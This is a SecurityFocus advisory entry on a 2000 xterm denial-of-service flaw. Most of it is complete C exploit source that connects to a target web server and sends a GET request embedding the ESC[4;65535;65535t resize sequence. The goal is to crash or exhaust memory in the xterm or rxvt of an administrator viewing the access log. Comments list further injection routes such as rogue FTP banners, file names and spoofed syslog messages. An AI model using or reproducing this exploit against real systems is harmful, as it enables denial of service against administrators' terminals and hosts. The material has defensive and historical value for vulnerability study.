source: http://www.securityfocus.com/bid/1298/info

xterm is a popular X11-based terminal emulator. If VT control-characters are displayed in the xterm, they can be interpreted and used to cause a denial of service attack against the client (and even the host running the client). What makes it possible for remote users to exploit this vulnerability is a situation like this:

An admin is tailing the http access log

Attacker requests url with control characters in it

Admin's xterm crashes

This vulnerability also affects applications (such as other terminal emulators) derived from xterm code.

/*
 *
 * xterm Denial of Service Attack
 * (C) 2000 Kit Knox <[email protected]> - 5/31/2000
 *
 * Tested against: xterm (XFree86 3.3.3.1b(88b)  -- crashes
 *                 rxvt v2.6.1 -- consumes all available memory and then
 *                                crashes.
 *
 * Not vulnerable: KDE konsole 0.9.11
 *                 Secure CRT 3.0.x
 *
 *
 * By sending the VT control characters to resize a window it is possible
 * to cause an xterm to crash and in some cases consume all available
 * memory.
 *
 * This itself isn't much of a problem, except that remote users can inject
 * these control characters into your xterm numerous ways including :
 *
 * o Directories and filenames on a rogue FTP servers.
 * o Rogue banner messages on ftp, telnet, mud daemons.
 * o Log files (spoofed syslog messages, web server logs, ftp server logs)
 *
 * This sample exploit injects these control characters into a web get
 * request.  If an admin were to cat this log file, or happened to be doing
 * a "tail -f access_log" at the time of attack they would find their
 * xterm crash.
 *
 * Embedding "ESCAPE[4;65535;65535t" (where escape is the escape character)
 * inside files, directories, etc will have the same effect as this code.
 *
 */

#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

int sock;

int
main (int argc, char *argv[])
{
  struct hostent *he;
  struct sockaddr_in sa;
  char buf[1024];
  char packet[1024];
  int i;

  fprintf(stderr, "[ http://www.rootshell.com/ ] - xterm DoS attack - 05/31/2000.\n\n");
  if (argc != 2)
    {
      fprintf (stderr, "usage: %s <host/ip>\n", argv[0]);
      return (-1);
    }

  sock = socket (AF_INET, SOCK_STREAM, 0);
  sa.sin_family = AF_INET;
  sa.sin_port = htons (80);
  he = gethostbyname (argv[1]);
  if (!he)
    {
      if ((sa.sin_addr.s_addr = inet_addr (argv[1])) == INADDR_NONE)
	return (-1);
    }
  else
    {
      bcopy (he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
    }
  if (connect (sock, (struct sockaddr *) &sa, sizeof (sa)) < 0)
    {
      fprintf (stderr,
	       "Fatal Error: Can't connect to web server.\n");
      return (-1);
    }
  sprintf(packet, "GET /\033[4;65535;65535t HTTP/1.0\n\n");
  write (sock, packet, strlen(packet));
  close (sock);
  fprintf(stderr, "Done.\n");
}